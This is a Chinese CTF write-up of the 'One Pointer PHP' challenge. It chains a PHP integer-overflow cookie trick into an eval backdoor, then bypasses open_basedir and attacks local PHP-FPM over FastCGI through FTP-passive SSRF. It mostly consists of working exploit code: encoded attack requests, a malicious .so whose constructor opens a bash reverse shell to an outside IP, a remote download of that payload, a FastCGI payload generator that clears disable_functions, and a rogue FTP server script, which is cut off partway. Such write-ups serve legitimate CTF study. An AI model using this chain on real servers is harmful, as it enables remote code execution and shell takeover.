[蓝帽杯 2021]One Pointer PHP复现

很不错的一道题,值得复现一下。

复现地址:BUUCTF

https://buuoj.cn/challenges#[%E8%93%9D%E5%B8%BD%E6%9D%AF%202021\]One%20Pointer%20PHP](https://buuoj.cn/challenges#[蓝帽杯 2021]One Pointer PHP)

源码

#user.php,定义了User类,类属性count

1
2
3
4
5
<?php
class User{
public $count;
}
?>

#add_api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

如果if($count[]=1)为false的话,就可以 eval($_GET["backdoor"]); RCE。count通过反序列化Cookie中的data获得。

知识复现和解题过程

知识一(PHP 数组溢出)

利用long 类型最大值绕过$count[]=1,注意这里是=赋值语句,也就是说无论如何返回都为1

利用数组溢出报错返回0来绕过


在 PHP 中,整型数是有一个范围的,对于32位的操作系统,最大的整型是2147483647,即2的31次方,最小为-2的31次方。如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。

再回到题目中的代码逻辑:

这里报错的原因是因为新键为PHP_INT_MAX+1,返回0。

1
2
9223372036854775806
9223372036854775807

生成cookie

1
2
3
4
5
6
7
8
9
<?php
class User{
public $count=1;
}

$user=new User;
$user->count=9223372036854775806;
echo serialize($user);

1
O:4:"User":1:{s:5:"count";i:9223372036854775806;}
1
2
3
4
5
6
7
8
9
10
GET /add_api.php?backdoor=phpinfo(); HTTP/1.1
Host: 53828184-93a2-4d8a-8ee2-2954207c64cf.node3.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: UM_distinctid=1763cb89271745-00af44cd85a641-7c690e53-13c680-1763cb892722e2; data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
Connection: close

PHP高版本,7.4.16,运行着FPM/FastCGI

  • 查看df
1
stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive

过滤了很多RCE的函数,但是文件相关的函数例如,file_put_contents,scandir,chdir,没过滤,如果可以,是否可以通过文件操作去读取flag呢?

  • 查看open_basedir

限制在/var/www/html web 目录

知识二(open_basedir Bypass 列目录)

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

P神早在2014年就研究过这个问题,

Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中。

设置open_basedir的方法,在linux下,不同的目录由“:”分割,如“/var/www/:/tmp/”;在Windows下不同目录由“;”分割,如“c:/www;c:/windows/temp”。

这里可以,利用DirectoryIterator + Glob 直接列举目录

DirectoryIterator 是php5中增加的一个类,为用户提供一个简单的查看目录的接口(The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories)。

glob: 数据流包装器是从 PHP 5.3.0 起开始有效的,用来查找匹配的文件路径。

结合这两个方式,我们就可以在php5.3以后对目录进行列举。在实测中,我们得知,此方法在Linux下列举目录居然可以无视open_basedir。– 链接博客原文内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?

将列目录的php代码进行url编码后,get请求即可,发现根目录存在flag

1
2
3
4
5
6
7
8
9
10
GET /add_api.php?backdoor=%70%72%69%6e%74%66%28%27%3c%62%3e%6f%70%65%6e%5f%62%61%73%65%64%69%72%20%3a%20%25%73%20%3c%2f%62%3e%3c%62%72%20%2f%3e%27%2c%20%69%6e%69%5f%67%65%74%28%27%6f%70%65%6e%5f%62%61%73%65%64%69%72%27%29%29%3b%0a%24%66%69%6c%65%5f%6c%69%73%74%20%3d%20%61%72%72%61%79%28%29%3b%0a%2f%2f%20%6e%6f%72%6d%61%6c%20%66%69%6c%65%73%0a%24%69%74%20%3d%20%6e%65%77%20%44%69%72%65%63%74%6f%72%79%49%74%65%72%61%74%6f%72%28%22%67%6c%6f%62%3a%2f%2f%2f%2a%22%29%3b%0a%66%6f%72%65%61%63%68%28%24%69%74%20%61%73%20%24%66%29%20%7b%0a%20%20%20%20%24%66%69%6c%65%5f%6c%69%73%74%5b%5d%20%3d%20%24%66%2d%3e%5f%5f%74%6f%53%74%72%69%6e%67%28%29%3b%0a%7d%0a%2f%2f%20%73%70%65%63%69%61%6c%20%66%69%6c%65%73%20%28%73%74%61%72%74%69%6e%67%20%77%69%74%68%20%61%20%64%6f%74%28%2e%29%29%0a%24%69%74%20%3d%20%6e%65%77%20%44%69%72%65%63%74%6f%72%79%49%74%65%72%61%74%6f%72%28%22%67%6c%6f%62%3a%2f%2f%2f%2e%2a%22%29%3b%0a%66%6f%72%65%61%63%68%28%24%69%74%20%61%73%20%24%66%29%20%7b%0a%20%20%20%20%24%66%69%6c%65%5f%6c%69%73%74%5b%5d%20%3d%20%24%66%2d%3e%5f%5f%74%6f%53%74%72%69%6e%67%28%29%3b%0a%7d%0a%73%6f%72%74%28%24%66%69%6c%65%5f%6c%69%73%74%29%3b%0a%66%6f%72%65%61%63%68%28%24%66%69%6c%65%5f%6c%69%73%74%20%61%73%20%24%66%29%7b%0a%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%7b%24%66%7d%3c%62%72%2f%3e%22%3b%0a%7d HTTP/1.1
Host: 53828184-93a2-4d8a-8ee2-2954207c64cf.node3.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: UM_distinctid=1763cb89271745-00af44cd85a641-7c690e53-13c680-1763cb892722e2; data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
Connection: close


另一个方法,利用chdir()与ini_set()组合来绕过 open_basedir 列根目录

1
mkdir('css');chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

尝试file_get_contents来读取根目录flag,返回空白,读web目录下的文件,可以正常读取,因此这里是存在限制的。

1
2
$homepage = file_get_contents('/var/www/html/add_api.php');
echo $homepage;

继续读取配置文件,fuzz:

https://github.com/ev0A/ArbitraryFileReadList/blob/master/php_file.txt

在phpinfo中得到php.ini的路径,/usr/local/etc/php/php.ini

1
2
3
4
5
6
7
8
9
10
GET /add_api.php?backdoor=%6d%6b%64%69%72%28%27%63%73%73%27%29%3b%63%68%64%69%72%28%27%63%73%73%27%29%3b%69%6e%69%5f%73%65%74%28%27%6f%70%65%6e%5f%62%61%73%65%64%69%72%27%2c%27%2e%2e%27%29%3b%63%68%64%69%72%28%27%2e%2e%27%29%3b%63%68%64%69%72%28%27%2e%2e%27%29%3b%63%68%64%69%72%28%27%2e%2e%27%29%3b%63%68%64%69%72%28%27%2e%2e%27%29%3b%69%6e%69%5f%73%65%74%28%27%6f%70%65%6e%5f%62%61%73%65%64%69%72%27%2c%27%2f%27%29%3b%65%63%68%6f%20%66%69%6c%65%5f%67%65%74%5f%63%6f%6e%74%65%6e%74%73%28%27%2f%75%73%72%2f%6c%6f%63%61%6c%2f%65%74%63%2f%70%68%70%2f%70%68%70%2e%69%6e%69%27%29%3b HTTP/1.1
Host: b43d4871-9e7c-45d4-bf09-8c9c1137504a.node3.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: UM_distinctid=1763cb89271745-00af44cd85a641-7c690e53-13c680-1763cb892722e2; data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
Connection: close

发现存在easy_bypass.so这个扩展,应该是要Web-Pwn了。不会pwn,看师傅们的wp,存在其他思路。下面来继续学习。

知识三(FastCGI未授权打FPM RCE Bypass open_basedir)

从最开始phpinfo中,我们知道运行着有fastcgi,当然我们也可以读取当前运行的进程来判断。

读取 /proc/self/cmdline ,当前进程是php-fpm: pool www

读取/etc/nginx/nginx.conf:

1
2
3
4
5
6
7
	##
# Virtual Host Configs
##

include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}

列一下目录,sites-enabled只有一个default

发现在本地9001端口开有FastCGI服务,phpinfo中也表明该项目为FPM/FastCGI,可以通过未授权打FPM rce

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。

FPM按照fastcgi的协议将TCP流解析成真正的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
  • 通过在FastCGI协议修改PHP_VALUE字段进而修改php.ini中的一些设置,而open_basedir 同样可以通过此种方法进行设置。比如:$php_value = "open_basedir = /";
  • 因为FPM没有判断请求的来源是否必须来自Webserver。根据PHP解析器的流程,我们可以伪造FastCGI向FPM发起请求,PHP_VALUE相当于改变.ini中的设置,覆盖了本身的open_basedir

通过 eval() 执行任意代码,构造恶意代码进行 SSRF,利用 SSRF 攻击本地的 PHP-FPM。

disable_class

1
Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException&nbsp;&nbsp;&nbsp;&nbsp;Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException

php 支持的协议和封装:https://www.php.net/manual/zh/wrappers.php#wrappers,可代替发二进制包的协议只有`ftp://`

ftp 的两种传输模式

ftp 有两种使用模式:主动模式(port)和被动模式(pasv)。

port 要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下,客户端由于安装了防火墙会产生一些问题,连接有时候会被客户端的防火墙阻止。所以,创立了 pasv 。pasv 只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。

ftp 客户端和服务器之间需要建立两条 tcp 连接,一条是控制连接( 21 端口),用来发送控制指令,另外一条是数据连接( 20 端口 / 随机端口),真正的文件传输是通过数据连接来完成的。

两种传输模式的异同

对于两种传输模式来说,控制连接的建立过程都是一样,均为服务器监听 21 号端口,客户端向服务器的该端口发起 tcp 连接。

两种传输模式的不同之处体现在数据连接的建立,对于数据连接的建立,主被动模式的不同在于数据连接的建立“服务器”是“主动”还是”被动”:

port 服务器通过控制连接知道客户端监听的端口后,使用自己的 20 号端口作为源端口,服务器“主动”发起 tcp 数据连接。

pasv 服务器监听 1024-65535 的一个随机端口,并通过控制连接将该端口告诉客户端,客户端向服务器的该端口发起 tcp 数据连接,这种情况下数据连接的建立相当于服务器是“被动”的。

因此这里用ftp-ssrf来进行利用,ftp被动传输,使高端口为本地php-fpm服务监听的的9000端口

知识四(恶意.so文件加载 && payload生成 && 恶意ftp服务)

  • 编写so文件
1
2
3
4
5
6
7
8
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/45.76.110.116/2333 0>&1'");
}

在Linux下的gcc编译

1
gcc ctf.c -fPIC -shared -o ctf.so

上传ctf.so 到/tmp目录,使用copy函数,

https://www.php.net/manual/zh/function.copy.php,进行远程下载

1
mkdir('css');chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('http://45.76.110.116:8000/ctf.so','/tmp/ctf.so');

  • 生成打php-fpm的payload

https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/fcgi_jailbreak.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('?file=ftp://ip:9999/&data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php"; // 目标主机已知的PHP文件的路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = ctf.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001', // 找准服务端口
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
1
2
?file=ftp://ip:9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3C%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B0PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%2F%0Aextension+%3D+ctf.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

file_put_contents()ftp:// 与我们的恶意服务器建立控制连接,使目标发送 PASV 命令,我们“被动”提供 ip 端口至本地 9001端口,然后建立起数据连接,将 data (fastcgi payload)的内容打到FastCGI服务

/var/www/html目录下copy一个file.php文件,代码如下:

1
2
3
4
5
6
<?php
$file = $_GET['file'] ?? '/tmp/file';
$data = $_GET['data'] ?? ':)';
echo($file."</br>".$data."</br>");
var_dump(file_put_contents($file, $data));
// echo file_get_contents($file);

也可以不这样,构造一下就可以了。

1
/add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://45.76.110.116:9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3C%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B0PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%2F%0Aextension+%3D+ctf.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
  • 起恶意ftp服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999)) # 监听的端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
